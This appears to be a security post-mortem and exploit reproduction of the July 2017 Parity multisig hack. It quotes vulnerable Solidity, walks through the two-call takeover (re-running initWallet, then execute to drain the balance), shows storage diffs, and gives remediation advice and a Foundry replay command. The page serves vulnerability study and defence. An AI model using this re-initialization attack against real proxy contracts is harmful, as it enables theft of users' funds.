Reproduced Exploit

Parity Multisig First Hack (July 2017) — Unprotected `initWallet` Re-initialization

The Parity multisig wallet was a thin proxy (Wallet) that held the ETH and forwarded every unrecognized call, via delegatecall, to a single shared logic contract (WalletLibrary). The intent was that the proxy's constructor would call initWallet(...) once to set up owners and the daily limit.

Jul 2017Ethereumaccess-control12 min read

Loss

82,189.93 ETH drained from a single victim wallet in the PoC

Chain

Ethereum

Category

access-control

Date

Jul 2017

Source

DeFiHackLabs

EVM Playground

Source-level debugger — step opcodes and Solidity in sync

evm-hack-analyzer

The attack is replayed in an in-browser EVM preloaded with the exact dumped fork state. The execution tree shows every call; step by Solidity line or by opcode across all depths — source, Stack, Memory, Storage, Balances (native / ERC-20 / NFT), Transient storage and Return value stay in sync. Click a tree node, opcode, or source line to jump. No backend, no live RPC.

Loading fork state…

Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2017-07-Parity_first_hack_exp in the evm-hack-registry mirror. Upstream DeFiHackLabs PoC: src/test/…/Parity_first_hack_exp.sol.


Vulnerability classes: vuln/access-control/missing-modifier · vuln/access-control/uninitialized-owner

Reproduction: the PoC compiles & runs in an isolated Foundry project at this project folder (the main DeFiHackLabs repo contains several unrelated PoCs that do not whole-compile, so this one was extracted). Full verbose trace: output.txt. Verified vulnerable source: WalletLibrary.sol, proxy wallet: Wallet.sol.


Key info#

Loss (this wallet)82,189.93 ETH drained from a single victim wallet in the PoC
Loss (incident total)153,037 ETH ($30M at the time) across three wallets drained in the campaign
Vulnerable contractWalletLibrary (shared delegatecall logic) — 0xa657491C1e7F16AdB39B9b60E87BbB8d93988bc3
Victim contractWallet proxy — 0xBEc591De75b8699A3Ba52F073428822d0Bfc0D7e
Attacker EOA0xB3764761E297D6f121e79C32A65829Cd1dDb4D32
Attacker contractN/A (called directly from the EOA)
Attack tx0x9dbf0326a03a2a3719c27be4fa69aacc9857fd231a8d9dcaede4bb083def75ec (re-init) / 0xeef10fc5170f669b86c4cd0444882a96087221325f8bf2f55d6188633aa7be7c (drain)
Chain / block / dateEthereum mainnet / fork block 4,043,799 / July 19, 2017
CompilerSolidity v0.4.9+commit.364da425, optimizer on, 200 runs
Bug classMissing access control on an "initializer" — unprotected re-initialization → owner takeover

TL;DR#

The Parity multisig wallet was a thin proxy (Wallet) that held the ETH and forwarded every unrecognized call, via delegatecall, to a single shared logic contract (WalletLibrary). The intent was that the proxy's constructor would call initWallet(...) once to set up owners and the daily limit.

But initWallet — and the initMultiowned / initDaylimit functions it calls — were plain public functions with no access control and no "already initialized" guard (WalletLibrary.sol:216-219, :107-117). Because the proxy's fallback blindly delegatecalls any calldata into the library (Wallet.sol:428-429), anyone could send initWallet([attacker], 0, ...) to a fully-funded, already-live wallet. That call re-ran initialization in the proxy's own storage, overwriting the real owners with the attacker and setting m_required = 0.

With the attacker now the sole owner and a daily limit set to the entire balance, a single execute(attacker, balance, "") call passed the onlyowner and underLimit checks and wired the whole balance to the attacker. In the PoC the drained wallet held 82,189.93 ETH; the broader July 2017 incident drained ~153,037 ETH total.


Background — Parity's proxy-library architecture#

To save deployment gas, each user's Parity multisig was a tiny Wallet proxy contract whose only real logic was a fallback that delegated to one shared WalletLibrary deployed once on mainnet.

SOLIDITY
// Wallet.sol — the proxy
address constant _walletLibrary = 0xa657491c1e7f16adb39b9b60e87bbb8d93988bc3;

// gets called when no other function matches
function() payable {
    if (msg.value > 0)
        Deposit(msg.sender, msg.value);
    else if (msg.data.length > 0)
        _walletLibrary.delegatecall(msg.data);   // ← forwards ARBITRARY calldata
}

(Wallet.sol:423-430)

Because the call is a delegatecall, the library's code executes against the proxy's storage. The proxy and library declare the same leading storage layout (m_required, m_numOwners, m_dailyLimit, m_spentToday, m_lastDay, uint[256] m_owners, …), so any state-changing library function the attacker reaches edits the proxy's owner set and limits directly.

The proxy was supposed to be configured exactly once, at deployment, by its constructor:

SOLIDITY
function Wallet(address[] _owners, uint _required, uint _daylimit) {
    bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
    address target = _walletLibrary;
    ...
    assembly { ... delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0) }
}

(Wallet.sol:399-419)

The fatal assumption was that initWallet would only ever be reached through this constructor. Nothing in the library enforced that.


The vulnerable code#

1. initWallet is public and unguarded#

SOLIDITY
// constructor - just pass on the owner array to the multiowned and the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
}

(WalletLibrary.sol:214-219)

There is no onlyowner, no onlymanyowners, and no if (m_numOwners > 0) throw; re-init guard. It is a normal public function (the default visibility in Solidity 0.4.9). The naming and comment call it a "constructor," but to the EVM it is simply a callable function.

2. The setup functions it calls clobber owner state#

SOLIDITY
function initMultiowned(address[] _owners, uint _required) {
    m_numOwners = _owners.length + 1;
    m_owners[1] = uint(msg.sender);                 // ← msg.sender becomes owner #1
    m_ownerIndex[uint(msg.sender)] = 1;
    for (uint i = 0; i < _owners.length; ++i) {
        m_owners[2 + i] = uint(_owners[i]);
        m_ownerIndex[uint(_owners[i])] = 2 + i;
    }
    m_required = _required;                          // ← attacker chooses required = 0
}

(WalletLibrary.sol:105-117)

SOLIDITY
function initDaylimit(uint _limit) {
    m_dailyLimit = _limit;                           // ← attacker sets limit = whole balance
    m_lastDay = today();
}

(WalletLibrary.sol:200-204)

Re-calling these overwrites the legitimate owner list rather than appending to it, makes the caller msg.sender an owner, and lets the caller pick m_required and m_dailyLimit.

3. execute then trusts the freshly-rewritten state#

SOLIDITY
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
    if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
        ...
        if (!_to.call.value(_value)(_data)) throw;   // ← sends _value to _to
        SingleTransact(msg.sender, _value, _to, _data, created);
    } else { ... /* multisig path */ }
}

(WalletLibrary.sol:230-255)

onlyowner now passes (attacker is owner #1). The first branch fires because _data.length == 0 and underLimit(_value) returns true (the daily limit was set to the full balance), so the wallet performs an immediate single-transaction send of the entire balance to the attacker — no co-signers required.

SOLIDITY
function underLimit(uint _value) internal onlyowner returns (bool) {
    if (today() > m_lastDay) { m_spentToday = 0; m_lastDay = today(); }
    if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
        m_spentToday += _value;
        return true;                                 // ← passes: limit == balance
    }
    return false;
}

(WalletLibrary.sol:338-351)


Root cause — why it was possible#

The vulnerability is a textbook uninitialized/ re-initializable proxy: an initializer function that behaves like a constructor but is a plain public function with no guard, sitting behind a proxy that forwards arbitrary calldata to it.

Four design facts compose into total loss:

  1. No access control on initWallet. It can be called by anyone, any number of times, at any point in the wallet's life. (WalletLibrary.sol:216)
  2. No "already initialized" latch. initMultiowned does not check m_numOwners == 0 before overwriting the owner table, so a second call replaces (not augments) the real owners. (WalletLibrary.sol:107-117)
  3. The proxy forwards everything via delegatecall. Wallet's fallback delegatecalls any non-empty calldata into the library, so the attacker's initWallet(...) runs against the funded proxy's storage. (Wallet.sol:428-429)
  4. Owner-set, required-sigs, and daily-limit are all attacker-chosen during init. By passing _required = 0 and _daylimit = balance, the attacker simultaneously becomes the sole owner, removes any multisig requirement, and raises the spend limit to the whole balance — turning a 3-of-5 multisig into a 1-of-1 wallet they control.

The "constructor" comment in the source (WalletLibrary.sol:214, :200, :105) reflects the intended lifecycle, not the enforced one — the EVM has no concept of "this is a constructor, only callable once."


Preconditions#

  • The victim is a live, funded Parity Wallet proxy pointing at the shared WalletLibrary.
  • The proxy fallback forwards arbitrary calldata into the library via delegatecall (always true for this wallet design). (Wallet.sol:428-429)
  • initWallet carries no re-init guard and no access control (always true in this library version). (WalletLibrary.sol:216)
  • No working capital, flash loan, market manipulation, or special timing required — the attacker simply sends two ordinary transactions.

Step-by-step attack walkthrough#

All figures are read directly from the -vvvvv trace in output.txt. The PoC reproduces the attack against a single wallet holding 82,189.93 ETH (82,189,932,605,820,062,911,880 wei).

#StepCallStorage / balance effect
0BaselineVICTIM_WALLET.balance82,189.93 ETH; isOwner(attacker) == false; m_required = 3, m_numOwners = 5 (output.txt:18-23)
1Re-initializeinitWallet([attacker], 0, 82189.93e18) (hits proxy fallback → delegatecall into library)slot 0 m_required: 3 → 0; slot 1 m_numOwners: 5 → 2; slot 2 m_dailyLimit: 1.0 ETH → 82,189.93 ETH; owner slots 6/7 overwritten with attacker; m_ownerIndex[attacker] → 2 (output.txt:28-39)
2Confirm takeoverisOwner(attacker)now returns true (output.txt:40-45)
3Drainexecute(attacker, 82189.93e18, "")onlyowner ✓, underLimit ✓ → attacker.call.value(82189.93e18)(); emits SingleTransact(attacker, 82189.93e18, attacker, 0x, 0x0); m_spentToday set to balance (output.txt:46-54)
4SettleassertionsVICTIM_WALLET.balance == 0; attacker.balance increased by exactly 82,189.93 ETH (output.txt:57-60)

The decoded storage diff from step 1 (raw slots in output.txt:30-37):

SlotFieldBeforeAfterMeaning
0m_required30multisig threshold removed
1m_numOwners52owner count reset to attacker + 1
2m_dailyLimit0x…0de0b6b3a7640000 = 1.0 ETH0x…11678671d4114063cd88 = 82,189.93 ETHspend cap raised to entire balance
6,7m_owners[...]real owners0xb376…4d32 (attacker)owner table overwritten
0xe484…fa26m_ownerIndex[attacker]02attacker registered as owner
4m_lastDay1731517366today() refreshed by initDaylimit

Profit / loss accounting#

ETH
Victim wallet balance before82,189.93
Victim wallet balance after0.00
Attacker balance gained+82,189.93
Attacker capital risked0 (only gas)

The attacker walks off with 100% of the wallet's balance for the cost of two transactions. In the real-world July 2017 campaign this same flaw was used against multiple wallets for an aggregate of ~153,037 ETH.


Diagrams#

Sequence of the attack#

sequenceDiagram autonumber actor A as "Attacker (EOA)" participant W as "Wallet proxy (holds ETH)" participant L as "WalletLibrary (shared logic)" Note over W: 82,189.93 ETH<br/>m_required = 3, m_numOwners = 5<br/>attacker is NOT an owner rect rgb(255,235,238) Note over A,L: Step 1 — re-initialize an already-live wallet A->>W: "initWallet([attacker], 0, balance)" W->>L: "delegatecall(msg.data) (runs in proxy storage)" L->>L: "initDaylimit(balance): m_dailyLimit = balance" L->>L: "initMultiowned([attacker],0): m_owners[1]=attacker, m_required=0" Note over W: owners overwritten -> attacker is sole owner<br/>m_required = 0, m_dailyLimit = balance end rect rgb(227,242,253) Note over A,L: Step 2 — verify takeover A->>W: "isOwner(attacker)" W->>L: "delegatecall" L-->>A: "true" end rect rgb(232,245,233) Note over A,L: Step 3 — drain via single transaction A->>W: "execute(attacker, balance, 0x)" W->>L: "delegatecall" L->>L: "onlyowner OK#59; underLimit(balance) OK" L->>A: "call.value(balance)() -> 82,189.93 ETH" L-->>W: "emit SingleTransact" end Note over W: balance = 0 Note over A: "+82,189.93 ETH"

Why re-initialization is takeover#

flowchart TD Start(["Anyone sends initWallet([attacker],0,balance)<br/>to the funded proxy"]) --> FB{"Wallet fallback:<br/>msg.data.length > 0?"} FB -- yes --> DC["_walletLibrary.delegatecall(msg.data)<br/>(executes in PROXY storage)"] DC --> IW["initWallet(_owners,_required,_daylimit)"] IW --> G1{"access control?"} G1 -- "NONE" --> G2{"already-initialized guard?"} G2 -- "NONE" --> Over["initMultiowned OVERWRITES owners<br/>m_owners[1] = msg.sender (attacker)<br/>m_required = 0"] Over --> Lim["initDaylimit sets m_dailyLimit = balance"] Lim --> Owned(["Attacker is now sole owner,<br/>no co-signers, full spend limit"]) Owned --> Exec["execute(attacker, balance, 0x)<br/>passes onlyowner + underLimit"] Exec --> Drain(["ETH sent to attacker -> wallet emptied"]) style Over fill:#ffcdd2,stroke:#c62828,stroke-width:2px style Owned fill:#ffcdd2,stroke:#c62828,stroke-width:2px style Drain fill:#c8e6c9,stroke:#2e7d32 style G1 fill:#fff3e0,stroke:#ef6c00 style G2 fill:#fff3e0,stroke:#ef6c00

Ownership state before vs. after initWallet#

stateDiagram-v2 [*] --> Legit Legit: "Legitimate wallet<br/>owners = 5 real keys<br/>m_required = 3 (3-of-5)<br/>m_dailyLimit = 1.0 ETH<br/>balance = 82,189.93 ETH" Hijacked: "Hijacked wallet<br/>owners = [attacker]<br/>m_required = 0<br/>m_dailyLimit = 82,189.93 ETH<br/>balance = 82,189.93 ETH" Empty: "Emptied wallet<br/>balance = 0<br/>attacker = +82,189.93 ETH" Legit --> Hijacked: "initWallet([attacker],0,balance)<br/>(no guard - re-runs init)" Hijacked --> Empty: "execute(attacker,balance,0x)<br/>(single-sig send)" Empty --> [*]

Remediation#

  1. Guard the initializer against re-entry. Add an explicit one-time latch, e.g. the pre-OpenZeppelin pattern if (m_numOwners > 0) throw; at the top of initMultiowned (or an initialized boolean / initializer modifier in modern code). Re-running setup on a live wallet must be impossible.
  2. Restrict who may initialize. Even with a latch, initialization should be callable only by a trusted deployer/factory, not via the proxy's arbitrary-calldata fallback. Treat any "constructor look-alike" function as security-critical.
  3. Do not let the proxy forward arbitrary calldata to setup functions. The fallback should forward only the operational method selectors (execute/confirm/owner management), never the init* family. Whitelist forwardable selectors instead of delegating everything.
  4. Separate the library's own initialization from per-proxy initialization. (Parity's second 2017 hack — the November "suicide" — was the flip side of this: the shared library itself was left uninitialized and someone took it over and kill()ed it. Both stem from treating public functions as constructors.)
  5. Use a battle-tested proxy/initializer framework. Modern equivalents (OpenZeppelin Initializable/initializer, transparent/UUPS proxies with _disableInitializers() in the implementation's constructor) exist precisely to make this entire bug class unreachable.

How to reproduce#

The PoC was extracted into a standalone Foundry project (the umbrella DeFiHackLabs repo has several unrelated PoCs that fail to compile under forge test's whole-project build):

BASH
cd 2017-07-Parity_first_hack_exp
ETH_RPC_URL=<ethereum-archive-rpc> forge test --mt testExploit -vvvvv
  • RPC: an Ethereum archive endpoint is required — the fork pins block 4,043,799 (July 2017), so the node must serve historical state at that block. Most pruned public RPCs will fail with missing trie node / header not found.
  • The test asserts the wallet starts with exactly 82,189,932,605,820,062,911,880 wei, that the attacker is not initially an owner, then performs initWallet + execute, and finally asserts the wallet balance is 0 and the attacker gained the full amount.

Expected tail (see output.txt:62-65):

CODE
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.79s (2.45s CPU time)

Ran 1 test suite ...: 1 tests passed, 0 failed, 0 skipped (1 total tests)

References: OpenZeppelin post-mortem — https://www.openzeppelin.com/news/on-the-parity-wallet-multisig-hack-405a8c12e8f7 · Haseeb Qureshi, "A hacker stole $31M of Ether" — https://haseebq.com/a-hacker-stole-31m-of-ether/


Sources & further analysis#

Reproductions & code

Alerts & third-party analyses

These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.